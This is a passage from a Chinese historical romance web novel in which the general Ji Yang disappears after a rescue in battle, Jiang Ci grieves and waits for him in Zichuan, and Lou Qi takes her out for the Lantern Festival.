她抿了抿唇,喉头忽然动了动,几次想开口唤住他,心中翻涌的念头在舌尖打转,终究在他掀帘而出前,止住了。
她只是轻轻低声呢喃一句:“其实……我早就原谅你了。”
说完,她走到那张仅有薄褥的行军榻前,俯身轻轻按了按,掌心触及的,分明只是冰冷坚硬的木板。她指尖微顿,眼中掠过一丝怔然。
这时,晚娘端着被褥进来,默默帮她铺床。看着这简陋至极的营帐和地上薄薄的褥子,她只是叹了口气,摇摇头。
姜辞轻声开口:“晚娘,在这前线的日子里,你得跟我一起歇下了。”
晚娘放下被褥,眼里泛起怜惜,语气低低地:“老奴这副身子,睡哪儿都成,就是苦了姑娘……哪曾睡过这种地方。”
姜辞却神色淡然,只抬眼望了望四周,语声轻缓:“可这样的地方,他大概,已经睡了很多年了。”
另一边,楼弃主将营帐外,姬阳披甲而立,望着一卷摊开的地形图,神色沉静如磐。篝火旁,沙盘未撤,残烛摇曳。帘外忽有脚步声传来,熟稔而张扬。
楼弃走进,嘴角却带着一点嘲意的笑:“这么晚了还不歇?都督,莫不是担心得睡不着?”
姬阳抬眸,淡淡看了他一眼:“以前你带着面具的时候,我没觉得你话这么多。”
楼弃一笑,走至案前,也不避讳,坐在一旁的案几边,指尖随意在沙盘上点了点,说道:“明日这一仗,是咱们头一回并肩作战。我很好奇,你真信我?”
姬阳道:“你若想叛,今夜就是最好的时机。”
“哦?”楼弃一挑眉。
“那日望月楼。”姬阳淡声,“你不是也放了我一条生路吗。”
楼弃似乎怔了一瞬,随即轻笑出声:“我还以为你会说出什么忠义之言。”
他顿了顿,忽然正色:“姬阳,明日之后,无论谁活谁死,凉州都得守住。”
姬阳点头,声音低哑而坚定:“那是自然。”
短暂的沉默后,风越来越大,二人回到营帐内,楼弃靠着椅背,仰头看向帐顶,喃喃道:“你说她……怎么胆子这么大?一个人带个老仆就来了。”
姬阳没有立刻回答,只是静静地站着。
良久,他道:“她从来不是一个退缩的人,我与她相识这些日子算是看清了,她这个人,做事从不管对与错,只做自己觉得应该做的,她既然来了,就早想好了。”
楼弃转头看他:“确实是个倔的,在宁陵就看出来了。”
姬阳收回视线,搬来一个小沙盘。
楼弃没再说话,帐内陷入短暂静默。
又过了一会儿,姬阳忽然开口:“你还记得我们第一次交战是在何处?”
楼弃哼笑:“当然记得,沂川西境,瀚北轻骑绕后,你吃了个暗亏。”
姬阳斜睨了他一眼:“若不是有人放水,瀚北能轻骑绕后?”
楼弃抬手作揖:“承认了,那一仗你输得不冤。”
姬阳不屑一笑,语带讥讽:“我第二次在安平见你,一路把你打得躲回幽州,你的铁骑也不过如此。”
他顿了顿,似想起什么似的,又道:“倒是那时候我一直纳闷,手下人都说那位瀚北小燕王为何总戴着面具。我还想,是不是生得太磕碜,见不得人。”
楼弃懒懒摸了摸下巴,挑眉道:“去你大爷的。本王这张脸,可是迷倒万千少女。”
两人都笑了,但笑意很快散去。
楼弃低声问:“若你我都战死沙场,你希望她记住你什么?”
姬阳没有回答这个问题。他只是淡淡道:“若我战死,我希望她忘了我。”
楼弃的眼神动了动。
他
没有说话,只是低头看着手中姜辞给他的护符。
夜色愈沉,烛火将两人的影子拉得老长,重重叠叠落在沙盘之上。
半晌,姬阳低声开口:“你我此战,无路可退。”
楼弃嗤笑道:“那就杀到底。”
二人对视一眼,皆不再言语。
翌日清晨,天色尚未大亮,营地仍笼在晨雾未散的微寒中。
姜辞和晚娘早早将准备好的热汤和干粮,一样样打包好,亲自送至营前。
姬阳披甲束带,正俯身擦拭佩剑,动作沉稳如昔。
楼弃则坐在一旁,低头啃着肉饼,一边咂嘴道:“真有味儿,比咱们军中那些柴火糊了的饼子强多了。”
姜辞递上另一包干粮,看向姬阳,轻声道:“赶了夜风,热食也撑不了多久,你先吃点。”
姬阳接过,望着她苍白的脸色,眉头微动,只低声应了句:“谢谢你。”
饭食未尽,他忽然起身,束好披风,取过战盔。
姜辞怔住,心头一紧:“这就要走了?”
“前线来信,说敌军今晨或有动作,必须立刻赶过去。”姬阳语声低沉,披风猎猎,甲胄在晨光下泛着冷光,“今日我们走,是为一场定胜负的仗。”
楼弃站起身,戴上那副熟悉的铜面具,语气轻快:“你放心,我们俩联手,北庭西凉,啃不下我们。”
可姜辞的心却蓦地被攥紧,她看着姬阳,莫名觉得心底那不安已化成实质,堵在胸口,说不出口。
她犹豫片刻,喊了一声:“姬阳——”
男人回头,眉眼间是难得一见的温色。
姜辞快步冲过去,踮起脚,在他脸颊上轻轻一吻,带着点突如其来的急切,像是怕他再走一步,就再也没机会。
“我等你回来。”她声音发颤。
姬阳怔了一瞬,看着她泛红的眼眶,心头也骤然一紧。他抬手轻轻抚上她的发,语气罕见地柔和:“还没亲口听到你说你原谅我了……我怎舍得死,放心,我一定会平安回来。”
他说着,目光沉沉,像是在刻意压住什么:“你信我,我不会让你等太久。”
说完,他转身翻身上马,甲胄随身震响,一如他决然的背影。
楼弃将披风往后一掀,回头对姜辞咧嘴一笑:“你的肉饼,很好吃。”
说罢,一抖缰绳,随姬阳并骑而去,大军随后缓缓开拔,旌旗烈烈,卷起漫天风沙。
姜辞站在原地,看着两人渐行渐远,身形隐入灰蒙的晨雾。
她双手合十,放在胸前,默默闭上眼,低声念着:
“愿你们旗开得胜,安然归来。”
他们一走,姜辞便再未能安心片刻。
她不顾寒意,留在营地协助军医照顾伤兵。
外头下了第一场初雪,营帐之内却灯火未熄,她挽起袖子,替人敷药止血、端水熬药,指尖早已被冻红。
每日傍晚,等营中诸事都暂歇下来,她便会走到营地边缘的高坡,站在那,望向他们离开的方向。
天地间冷寂无声,她披着斗篷,风一来,吹得衣摆哗哗作响。
她站着,目光落在那片北方的荒山黑影间,心中反复念着:他也许下一刻,就会从那片黑暗中走出来,带着熟悉的味道,唤她一声。
可每一次,都只等来更深的夜与更重的沉默。
而另一边,寒风穿林,战马嘶鸣。
银霜带着一支轻骑疾驰穿过密林,连夜赶赴前线,在孟津以西与姬阳、楼弃所率主力军会合。
三人立于破庙之上,披甲执戈,山风裹着火光,楼弃眸中杀气暗涌,道:“他们既敢来犯,便莫怪我们迎头痛击。”
银霜冷声应道:“我已经带人夜探过敌营粮道,皆在图上这几处,今晚便动手。”
姬阳眸色沉凝,低声道:“好。战鼓响起时,便叫他们知道,凉州,不是他们能轻取之地。”
火光摇曳,风雪交加,一场浴血鏖战,已悄然逼近。
北庭与西凉联军卷着铺天盖地的黑旗,沿着山道向南疾压,铁骑如流,声势骇人。
天色未亮,凉州联军已在预定战线上布好阵列,姬阳与楼弃并肩立于高坡之上,眸光沉冷地望向远方。
“来了。”姬阳低声道,目光如刃。
楼弃咬了根草杆,一如既往漫不经心:“气势倒是不小,他们从哪儿搜罗这么多人。”
“西凉走西路,北庭绕北山,果然分进合击。”姬阳眸光沉定,回首看了眼阵列,“弓骑准备,按昨夜布置行事。”
楼弃收起笑意,取下背后的长矛,眼中杀意渐浓:“银霜那边也就绪,等敌军陷入,我们便断其锋芒。”
天光乍破,敌骑骤至。
第一阵突袭正面撞上姬阳所布鹿角、拒马,敌势受阻,紫川军弓手登高射箭,箭雨密布,顿时将一波骑兵压制下来。
楼弃见状大笑一声:“这开局,够利索!”
他挥手下令,自家军骑从侧翼杀出,与姬阳铁骑合围敌军前锋,战线一时间胶着。刀光交错,血肉横飞,喊杀声震天动地。
片刻后,斥候急驰而来,急报:“西南银霜校尉一队已入敌后,斩敌粮车两列,正欲突袭敌侧翼……”
姬阳眉头微松,却在此时,第二骑斥候急报:“不妙!银霜中伏!西凉早设陷阵,她被困于河谷之中!”
楼弃脸色一变:“她带的不过二百人!”
姬阳脸色沉了下去,转身欲走,楼弃一把拽住他:“你不能去!她那边已成死局,现在一动主阵,我们这边就要被撕开!”
姬阳目光森冷:“银霜是姜辞在乎的人,她若被擒,生不如死。我不能眼睁睁看她陷入绝地。”
楼弃咬牙:“你疯了吗?现在是决战之时!”
姬阳拽住缰绳,目光如铁:“要么你与我一同破局,要么,我一人去。”
楼弃瞪了他一眼,终是吐出一句:“大爷的,你总是这副不要命的性子。”他扯开披风,“走,去救她。”
二人临阵改策,命副将暂稳主阵,自己则率两百骑飞驰西南。
风如刀,尘如盖,山谷之间烟尘滚滚,银霜所部已与敌军短兵相接,阵线被包围压缩至谷地中央。
姬阳眼见此景,面色铁青,一声令下,战马扬蹄,长戟破空,亲率兵锋横冲谷口。
敌军未料此时有人从外杀入,一时阵脚大乱,姬阳挺枪连破三列骑阵,强势撕出一条血路。
银霜衣上染血,仍手执长刀,与两名亲卫护住残兵。
“都督你们不要过来!”她大喊。
姬阳未答,只吼道:“跟我走!”
楼弃从谷口另侧突袭而入,与姬阳夹击,一举将敌军分割。银霜受伤后力,姬阳命楼弃:“你带她先走!”
楼弃怒道:“你一个人要干嘛?”
姬阳已策马杀入敌军中央,冷声道:“断尾。”说完马蹄高抬,他毫不犹豫冲了回去。
战火蔓延,山谷间回荡着马嘶人吼。
银霜被救出,楼弃掩护她撤退,回望山谷时,火光中只见姬阳带人战数敌,身影如孤狼,渐被烟尘湮没。
“姬阳!”楼弃欲返,却被手下死死拉住,“燕王,援军快到了!我们得赶回去,不然那边就失守了!”
楼弃不得不照顾大局,只能丢下姬阳,带着受了重伤的银霜赶回去。
“姬阳,你要活下来。”
……
黄昏时分,援军赶至,斩敌溃围,硝烟渐散。
谷中满地尸骸,战马尸体横陈,唯不见姬阳。
第80章
楼弃搜遍战场,只寻得他一缕血迹与残碎铠甲,还有一个虎头护符,他捡起来,握在手心,良久未语。
他命人,将东阳军和瀚北军的尸体都运会营地,等回去,找个地方给他们好好下葬。
凉州联军,终在这一役击退北庭西凉主力,保住紫川。
但,损伤惨重,差点被歼灭,姬阳也下落不明。
胜而无欢。
此时,营地一角的药棚内,姜辞正弯身守在炉边熬药,药锅翻滚。
她静静守着火,
一言不发。身后晚娘正忙着将已晒干的伤布收拢,忽听哐啷一声轻响,姜辞手中搅药的长勺掉在地上。
“姑娘!”晚娘心中一紧,快步上前。
只见姜辞脸色微白,紧紧按住胸口,眉头拧成一团,似是疼得透不过气来。
晚娘连忙扶住她的臂:“你这是怎么了?是不是累着了?快别熬了,我来,你先歇一歇。”
姜辞缓了一会儿,才慢慢直起身,脸色仍带着一丝倦意和怔忡:“不是累……我也不知道是怎么回事,方才忽然……心口像是被一把刀刺了一下。”
话音刚落,营地外忽然传来一阵急促的马蹄声。
“报——!”一声高喊震得人心一颤。
一名浑身染着灰尘的小兵策马疾驰而入,声音还未完全落下,人已翻身下马,奔向中军大帐方向:“北庭与西凉大军已退!我军险胜,凉州守住了!”
姜辞一怔,只觉脑中嗡地一声,反应过来后,泪水瞬间涌上眼眶,连药也顾不得,提着裙摆飞奔了出去。
“你说什么?!”她冲到那报信的小将跟前,急切问道,“你是说……我们赢了?他们……他们要回来了?”
那小将被她突然拦住,也不敢怠慢,连忙点头:“是,是的!燕王正在带人清扫战场,安顿伤员,最快明日中午就能回转驻地。”
姜辞再也忍不住,泪珠滚落而下,仿佛将这些日子压在心头的惶惶不安尽数冲散。她回头望向晚娘,眼中噙着光:“晚娘,他们就要回来了。”
晚娘眼中也泛起泪意,走上前紧紧握住她的手:“是啊,姑娘,咱们熬过来了。他们都好好的,胜利归来。”
那一夜,姜辞总算能卸下心头的重担。
晚娘早早替她烧好了热水,将帐中炉火加旺,又换了干净的衣物与厚被。姜辞浑身还残留着草药的味道,却终于能放松下来,褪去外衣,泡入温热的水中。
水雾氤氲,她闭上眼,浸泡在安静的热汤中,只觉这些日子积攒的寒意与疲惫,一点点被蒸散开来。
泡完后,她靠在榻上,晚娘替她掖好被角,语气轻柔:“姑娘,歇一歇吧,梦里也好等他们。”
姜辞点了点头,闭上眼时,唇边终于浮起一点淡淡的笑意。
这一夜,风雪犹在,帐中一片静谧,连风声都轻了几分。
等姜辞醒来时,天光已大亮,雪也停了,阳光透过帘缝洒进来,微微泛着暖意。
她躺了片刻,像是还未从梦里醒透,直到晚娘轻手轻脚地掀帘进来,笑着说道:“姑娘醒了?”
她这才揉了揉眼,点点头,坐起身来。
“今日给我梳个好看的发髻吧。”她语气温温的,带着些久违的明快,“今日,他们该回来了。”
晚娘一怔,随即笑道:“好,给您梳一个最俏的。”
梳发的时候,姜辞特意挑了一身干净的橘色曲裾,衣角绣着隐约的海棠纹,外披一件暗红色披风,颜色暖,神色也喜。
她坐在榻前,拿起一只漆盒,从中捡出两支簪子,在发间比了比,转头问:“晚娘,你觉得哪支更合适?”
都是她随行时带来的,素日极少佩戴。
晚娘笑着答:“姑娘戴哪支都好看。”她看着眼前的人,神色清润,眼中带光,比这几日来都更有生气,“可惜这帐中没有镜子,不然让您自己看看。”
姜辞轻轻一笑,语气带着调侃:“那你就好好看看我,告诉我我现在什么样。”
晚娘宠溺的抚摸着姜辞的头发:“姑娘就是披麻袋都好看。”
姜辞被她逗笑,转而又抿了抿唇,自语般说:“好久没好好打扮了……他若见着,应该会笑吧。”
收拾妥当后,她掀帘走出营帐,外头雪色初融,阳光洒在泥地上,营地中已有不少人开始活动。
她站在营前,望着远方那条通往战场的山道,望得出神。
她没有说话,只是目光静静地落在那片天地之间,眉眼柔和,像是在等待某个确定会归来的人。
她不知道那人什么时候会出现。
可她知道,他一定会回来。
黄昏时分,大批伤亡将士陆续被送回凉州营地,马车一辆接一辆驶入,自山口而来,带着漫天的血腥与沉寂。
车帘一掀,便是血与泥混合的颜色,伤者呻吟,尸体沉默。地上铺了草席,尸体用白布一一覆盖,排列于营外,仿若无声的悲号。
人群不敢大声说话,甚至脚步都放轻了,唯恐惊动了什么。
楼弃在最后一辆马车抵达时从马上跃下,盔甲满是血痕,脸色沉如铁。他抬手摘下那副铜质面具,将它捏在掌心,片刻未动。
手臂垂下去的同时,他缓步穿过尸列,看着那一张张熟悉的、无名的脸,眉心死死皱着。
他手中握着一样东西,是一只布制的护符,边角有些血污,花纹已被血色浸透,只隐约还能辨出那只被绣上去的小老虎。
姜辞奔过来的时候,心仿佛堵在嗓子眼儿,她声音颤抖问楼弃:
“姬阳呢?”她站在人群边缘,喘着气,一双眼死死盯着楼弃。
“他在哪儿?他是不是受伤了?在哪儿?”
楼弃抬眸看她,眼底倦意与沉重深不见底。他没有立刻说话,只缓缓将护符递出。
“他当时就带着这个。”声音低哑,“是我亲手从战场上……找回来的。”
姜辞僵住了,怔怔地看着那护符,像看着什么不可思议的东西。
她迟迟没有伸手,仿佛只要她不接过去,那些最坏的可能就不会成真。
可她终究还是伸出手,颤着指尖,将那护符接了过来,捧在掌心,低头一看,泪水瞬间模糊了视线。
那是她亲手绣的。她记得。
她的心一瞬像被扯开了一道裂缝,风雨猛地灌进来,冰冷刺骨。
“不、不可能……”她喃喃,声音微弱得几不可闻,“不可能的,他不会……”
她猛地转身,奔向营外排列的白布尸列,一边跑一边喊:“让开!都让开——我要看他!”
“姜辞!”楼弃察觉到不对,快步上前,一把抓住她的胳膊,“别过去!”
“放开我!”姜辞失声吼了出来,近乎歇斯底里,“我要看他,我要亲眼看见他在哪儿,我不信!我不信!”
她推开楼弃,疯了一般冲到尸体所在,一具一具揭开白布去看,手在抖,唇色苍白。
“不是……不是他……也不是……”
她一连揭了十几具,眼神越来越慌乱,脸色越来越白,整个人像随时要崩塌。
“姬阳呢!”她声音嘶哑,跪倒在地,双手捧着那只染血的护符,不停颤抖,“他人呢?他说他会回来的,他说他不会死的!”
楼弃站在她身后,目光极沉,最终低声道:“……没找到他的尸体。”
这句话,如一柄锥子,狠狠扎进姜辞的心口。
“没找到他……那就是,他还活着,对不对?”姜辞问楼弃,楼弃别过头,眼角也有些湿润,他什么都没说。
她怔住,护符从指缝滑落,掉在泥地上。下一瞬,她整个人摇晃了两下,忽然晕了过去。
“姜辞!”楼弃大惊,连忙上前一把将她抱住。
她整个人瘫在他怀中,眉心紧皱,唇色毫无血色。
楼弃低头看她,眼底掠过一抹罕见的痛色,抱着她大步走回营帐。
姜辞昏睡了一整夜,一场迟来的高烧终于在她倒下之后汹涌而来。
她梦中始终在喊着谁的名字,声音时重时轻,晚娘守在床边,听得十分心疼。
她频频更换冰帕,怕姑娘烧坏了脑子,忙得一夜不能合眼。
营帐内灯火昏沉,沉默压得人喘不过气来。楼弃坐在不远处,甲胄未解,披风上还沾着泥与血,一夜未语。
他只是看着榻上昏睡的姜辞,看着她脸上不时浮现的泪痕与痛苦神色,那种钝痛像钩子,钩住心肺,叫人说不出一句宽慰的话。
第二日天亮,姜辞终于睁开眼。
眼前天光泛白,冷风灌入帐中。
她怔了怔,缓慢坐起身,像还未从梦里完全挣脱出来。
帐帘被人轻轻掀开,一道熟悉的身影走了进来。
是银霜。
她身上伤口包扎得妥帖,但脸色苍白如纸,眼圈通红,一进帐就噗通一声跪在姜辞面前。
“小姐……”银霜哽咽着,头低得不能再低,“都是因为我。”
“那日我带人走侧路,本以为能绕敌后侧,却中了埋伏,地势狭窄,被困在谷中。是都督……是他亲自带兵杀入,把我救出来的。”
“我们人少,地势又低,他拼命杀开一条路,把我和伤兵从侧路推出去,可……可到最后,他却没有出来。”
她说到这,声音一顿,眼泪啪嗒啪嗒地落下,像忍了很久的疼,终在此刻决堤:“他说你在等我,他不能让我死……是他让我走的,是护着我突围……”
“小姐,是我害了他,我对不起你……”
银霜低低伏地,肩膀剧烈颤抖,整个人几乎哭得脱了力。
榻上的姜辞静静听着,一言不发,眸子空落落的,像失了神。
过了好一会儿,她才将被褥缓慢地掀开,轻轻坐起身,一双眼望着银霜,声音沙哑:“起来吧,不怪你。”
银霜身子一震,却怎么也跪不起身来,只反复喃喃一句:“小姐,是我害了他……”
姜辞没再说话,只抬眸望向窗外亮起的晨光,那光刺得她眼睛发疼。
“晚娘,”她忽然开口,声音平静得出奇,“我们回紫川。”
“姬阳一定会去紫川找我。”
她的语气无比笃定,像是将全部心血、全部希望,都压在了这一句上。
“他不会死的,”她喃喃,“他若死了,就不会连尸首都找不到……他一定还活着……”
晚娘红了眼圈,连忙上前搀她:“姑娘,我们这就回。东西我已经收拾好了,车也准备好了。”
一旁沉默整夜的楼弃也起身,走到门边,淡声道:“眼下送她回紫川,是最稳妥的安排。”
他说罢,目光落在姜辞身上,眼中满是压抑的情绪,但终究什么都没说,只转身出了帐。
很快,马车备好,姜辞披上狐裘,登上车厢,风起于野,寒意刺骨,车辚辚南去。
马车驶入城门那日,街巷静默,百姓们自发系起白帛,为阵亡将士送别。姜怀策早已在府前等候,然姜辞却始终没有掀帘看一眼。
晚娘眼眶通红,小声与姜怀策交代了几句。姜怀策想伸手,却终究什么也没说,只看着女儿被人搀着回房,那道背影十分孤寂。
那一日,姜辞进了屋后,就再也没出过门。
她没哭,也没闹,只躺在床上,背对着门,像是睡着了,又像只是将自己藏进了一个谁也找不到的角落。
晚娘端了好几次汤药进来,她没喝,姜怀策也来过,站在门外唤她名字许久,她没有回应。
谁来都劝不动。
她就那样侧身躺着,额前碎发散乱,脸色苍白。被褥将她整个人裹着,只露出一截手腕,护符被她紧紧握在掌心。
日落黄昏,她翻了个身,红霞映在她毫无血色的脸上。
晚娘在门外哭,她听见了,也没动。
她自始至终,只有在某个天色将暗未暗的时候,睁开眼,声音极轻地喃喃了一句:
“姬阳……我早就原谅你了,我应该早点告诉你的。”
紫川又漂起了雪。
灰白的雪花在风中呼啸翻飞,如针如刃,拍打在行人脸上,几乎睁不开眼。
一道身影缓缓自东门方向而来,脚步踉跄,身上披着一件破旧的披风,边角处甚至还挂着未干的冰霜。
那是个女子,极为狼狈,步履艰难,似是已经走了许久。
她的肚子咕咕直响,她忍不住捂住腹部,干涩地咽了口唾沫,又抬起头看向前方。
城中已开始点灯,橘黄的火光一串串照在她憔悴苍白的脸上,她眼神仍旧清亮,却显出一丝不属于这里的陌生。
她看着街道两旁形色匆匆的百姓,终于在一个路口停下,踉跄着伸出手,拉住了一个中年妇人。
她声音不大,却透着风雪中被冻得发抖的沙哑:“请问……紫川谢家,怎么走?”
那妇人本在赶路,听她语气无力,低头一看她面容憔悴,神情可怜,忍不住心中一软:“谢家啊?他们就在前面这条街口拐过去,一直走就能看见。”
女子低下头,福了福身:“多谢。”
那妇人本想再说什么,却见女子已转过身,朝那方向一步步走去。走得极慢,像随时都会倒下。
终于,她在谢府门前停下。
门前悬着一方墨漆金字的牌匾,赫然写着谢府。
女子站在门下,伸出手缓缓将披风的兜帽自头顶拉下。
一张看上去几乎人畜无害的脸映入眼帘。
眉眼如画,唇色微淡,却透着几分坚毅和疲惫。
正是楚窈。
她抬头仰望谢府高墙,眼神沉了几分。雪一片片落在她额发上,她却像未察觉一般,目光始终落在那朱漆大门之上。
半晌,她轻轻叩门。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
80-84
第81章
楚窈进了谢府,被下人领进正厅坐下。
厅中炉火温热,她披着的破旧披风终于被解下,露出那身单薄的布衣,以及略显突兀的腹部隆起。
谢夫人一眼看见她挺着肚子,便不由皱了眉。谢老爷也看得直愣神,二人面面相觑,似都没回过神来。
楚窈却低眉顺眼,规规矩矩地起身行礼,声音软糯温顺:“夫人,老爷,我叫楚窈。我怀了……璟郎的孩子。”
此言一出,厅中寂静。
谢夫人几乎站不稳,谢老爷更是一口茶没咽下去,咳得满脸通红。
“你……你说什么?!”谢夫人捂住胸口,不可置信地盯着她,“不可能!我儿已剃度出家,哪来这等荒唐之言!”
楚窈听后眼圈一红,手抚着腹部,语气软得几乎滴出水来:“我知夫人不信……可我没有撒谎。那时他尚未剃度,我还是东阳侯府的婢女,一次我们在丰都城内他下榻的酒楼,一夜荒唐……后来他却说我身份卑贱,谢家不会接纳我,便……便走了。”
说到这,她低下头,像是极力压抑住泪意:“我从未要求他娶我,也不敢奢望名分……可如今孩子已有月数,我能忍辱偷生,却不能叫他也无根无依。”
谢夫人面色难看,转头看了眼谢老爷,低声道:“这话,若有一字是真的,那可就是谢家的血脉。”
谢老爷沉声道:“不查清楚怎知真假?她肚子里的孩子,若真是二郎的,那是我们谢家的骨血。若不是……咱们不能让这等人搅了门风。”
谢夫人点头,又压低了声:“我先安排她住下,你叫人把二郎找回来。不行就绑回来,非得问清楚。”
谢老爷沉着脸:“行,这就安排。”
商量完,谢夫人整了整神色,重新看向楚窈,脸上挂着得体的笑意:“我家二郎远行未归,一切等他回来后再议。你一路辛苦,身子又重,且先住下歇息,需要什么告诉我们就行。”
楚窈抬起头,眼中泛起盈盈水光,恭敬地应了一声:“谢夫人。”
谢夫人吩咐下人安排膳食与住处,又特意交代:“别怠慢了人。”再看楚窈那张楚楚可怜的脸,只觉一阵心烦,却仍强压着怒气。
不多时,饭食送来,热气腾腾。
楚窈坐在桌前,一看见饭菜便急急扒了几口。她饿得实在狠了,吃得飞快狼狈,连汤都一口就喝尽。
忽而她察觉自己失了分寸,连忙放下筷子,低头抹了抹嘴,面带羞意地道:“失礼了……只是我一个人饿不要紧,肚子里的孩子也还饿着。”
谢夫人微微颔首,面上强作和颜,心中却暗自发慌。
谢家好歹是紫川名门,如何能容一个来历不明的女子凭一句“有孕”就入门?她
这身出身,这般模样,做妾都难登堂入室。
但谢夫人终究没有点破。
她只是转过身,神情冷静地吩咐下人:“带她去那处空院落住下,好生伺候着。记得,把府里多余的侍女调两个过去。”
“是。”
楚窈被扶着站起,缓缓行了一礼,轻声道谢。
而谢夫人立在原地,看着她远去的身影,眉头越皱越紧。
“这二郎也是。”她冷声喃喃。
谢老爷在一旁叹了口气:“不论是真是假,等二郎回来,事情……就揭晓了。”
第二日午后,日光偏斜,照在溪陵边境的渡口的船只上,泛起一层薄金。
沈廷安身披玄甲,独立于马前,神色冷肃,身后是一支整装待发的沈家军。
水面上有风卷过,也吹动他肩上的披风,他却纹丝不动,只垂眸盯着手中一物。
那是一张折得整整齐齐的纸,纸角已有些磨损。他缓慢摊开,露出上头熟悉的笔迹,清润而娟秀,一笔一划写得极漂亮,是姜辞的字。
那日他自丰都回到溪陵,本以为姬阳必会来讨回场子,降罪于他。但等了很久,什么都没来。只收到一封信,信里没有责备,也没有审判,只有一张方子。
那药方分毫不差地写着他那顽疾的调理之法。如今已过去许久,他的哮症竟好去了八成,旧时稍动怒便喘不过气来的苦痛,如今却都能熬过去了。
他将纸折回原样,重新放入怀中,眼中情绪复杂而深沉,谁也看不清。
这时,一名副将策马而来,低声问道:“少将军,西凉与北庭大败,我们真要……此时起兵攻打西凉?”
沈廷安没有立刻答话,只看着江对岸沉思。
良久,他忽而淡淡地说道:“上元节快到了。”
副将怔住,没反应过来,讷讷地问:“少将军,您的意思是……”
沈廷安眼神冷下几分,平静却不容置疑地道:“把西凉,给我打下来。”
他声线低沉,没有一丝波澜,却像江水滔滔,压顶逼人。
=。=
日子一日日过去,紫川城头的雪化了又落,落了又化,街市渐渐热闹起来,唯独姜府深院,寂静依旧。
姜辞大多时候都静坐在窗前,不知是在看雪,还是在发呆。偶尔也写字,笔却落得极轻。
姬夫人来过一趟,带走了姬阳留在府中的几件旧物。
那一日,天微有雪,姬夫人穿着素衣而来,见了姜辞许久未语,只轻轻坐在她对面,看着姜辞手里捏着的那只小虎护符,眼角红了又红。
“他小时候也怕冷,屋里火盆都不能灭的。”姬夫人喃喃,“这些年在军中,习惯了苦,身子却吃不住冷。你若还记得,替我把这狐裘给他留着,哪怕只是留着。”
姜辞看着她,许久才开口:“他没有死,我信着的。”
姬夫人沉默了一瞬,唇角却带起一点点倔强的弧度:“倘若你心里也这样想,那就好好活着,不要颓靡。”
她顿了顿,起身整理衣襟,临走前回头看姜辞一眼,声音轻轻的:“我这个儿子,比野草的命还顽强。他若真还活着,总能从死地里爬回来。”
从那之后,姜辞似乎真的好了许多。
她不再整日卧床不起,偶尔也随晚娘在府中小园子里走一圈,见着新开的梅花,会驻足看上一会儿,轻声问:“这种花,丰都有没有?”
她开始试图重整旗鼓,开始认真梳头、写字、记账,也会帮父亲看看人口统计。
“我要活着。”她对晚娘说,“活得好好的,等他回来。”
又过了几日,紫川迎来了上元节。
街上张灯结彩,许多铺子前挂起琉璃灯盏,孩子们提着兔灯追逐,百姓笑语盈盈,茶坊里已开始讲今岁头灯的传说。糖画摊热气腾腾,酒肆门口张罗着桂花酿与新蒸的米糕。
风中飘着淡淡的糖丝香与爆竹味,一切都像往年无异,又像什么都已变了。
姜辞正靠在榻上,窗帘半卷,日光斜洒在她一身素衣上,暖洋洋的。
房门被轻轻推开。
是姜潋。
她进屋笑着唤:“阿辞?今日是上元节,晚上可想与我和你姐夫一同出去逛逛?我还记得你小时候最爱吃桂花酒酿圆子。”
姜辞轻轻一笑,顺势躺倒在她腿上,像从前一样玩着她的发丝:“这是你和姐夫成婚后的第一个上元节,你们去吧。我要是去了,岂不是碍眼?我可以叫晚娘一同陪我。”
姜潋伸手摸了摸她的头发,轻叹:“看你这几日神气好些了,我也就放心了。”
姐妹二人又闲聊了几句,姜潋便起身离开。屋内再次归于寂静。
姜辞坐起身来,看了一眼窗外渐暗的天色,忽然又像泄了气一样,身子一歪,倒回榻上。
傍晚时分,晚娘进来了,手中还拿着一件披风。
她边铺衣边道:“姑娘,您一个朋友来了。”
“谁啊?”姜辞懒懒地问,眼皮也不抬一下。
“燕王啊,他说特意从幽州赶回来,想在紫川过上元节,邀您一同出去逛逛。”
姜辞“唔”了一声,没再回应,只把被子往头上一蒙:“跟他说我不去。无聊得很,可以带我妹妹去。”
“哎哟。”晚娘叹气,“您这话说得,小小姐可是粘着老爷呢,哪肯走呢。”
话音刚落,窗外却忽然响起一道熟悉的声音,带着几分轻佻:“你难道不想和我去河边放灯,祈祷你的情郎早日回来吗?”
姜辞一怔。
她缓缓从被子里钻出来,坐起身,望着窗外半明的天色,片刻后咬咬牙。
“晚娘,”她声音轻轻的,却是认真的,“去给我梳妆。”
晚娘眼前一亮,赶紧应了声“好嘞!”随即张罗起镜子、首饰和那件还没穿过的水红襦裙。
夜幕正缓缓落下,紫川的灯火,也一盏一盏亮了起来。
夜色渐深,紫川城内的灯火如织,街道两旁花灯高挂,彩幡随风轻晃,笙箫隐约,恍若旧梦重温。
姜辞坐在镜前让晚娘替她簪好最后一支银钗,垂下的流苏刚好在眉心轻晃。她穿着一身剪裁素净的橘色曲裾,披风是暗红色,与她唇色相映,静静坐着时,眉眼清淡中自有一种沉静之美。
她站起身,整理好衣摆,轻轻走出屋门。
门外早已等候的楼弃听见动静,回头看了一眼,整个人忽然怔住了。
楼弃一时间有些痴然,可不过几瞬,他便若无其事地咳了声,嘴角勾起惯有的笑意,走上前来,从背后拿出一个龙头花灯,递到她面前。
“送你的。”
姜辞低头看了眼那灯,做工不算精巧,却别致生趣,小灯上还画了几个竹叶与星点灯火。她接过,声音轻柔道:“谢谢。走吧,今日不知燕王想去哪里逛?”
楼弃叹了一口气,略带无奈地低声道:“不是说过很多次了,叫我名字就好。”
姜辞看着他,点了点头,神色淡淡:“好~楼弃。”
二人并肩出了姜府,街道上已是人来人往,热闹非凡。楼弃走在她身侧,偶尔回头看一眼跟在后头的晚娘,确保她不被人群冲散。
姜辞手里提着花灯,却似乎对这节日繁华并无多少兴致。她目光淡淡地扫过街边卖灯糖的摊贩、欢笑嬉闹的孩童,还有披着花帛的民间舞队,神情始终未曾轻动。
楼弃侧头看了她几眼,只觉她比往日更安静了些,却又安静得让人心疼。
正当此时,一名奔跑中的小孩不小心从旁侧撞了过来,眼看就要撞上姜辞。楼弃眼疾手快,立刻俯身半蹲,挡在她身前,一手将那孩子抱住。
“别跑那么快。”他声音不重,却透着威严,“上元节人多,撞到了人可不好。”
那孩子吓了一跳,连忙向他和姜辞鞠了个躬,口中道了歉,便红着脸跑开了。
姜辞站在原地,看着楼弃正了正披风,忍不住说道:“没想到你还有这么友善的一面。”
楼弃咧嘴一笑,打趣地道:“合着我在你
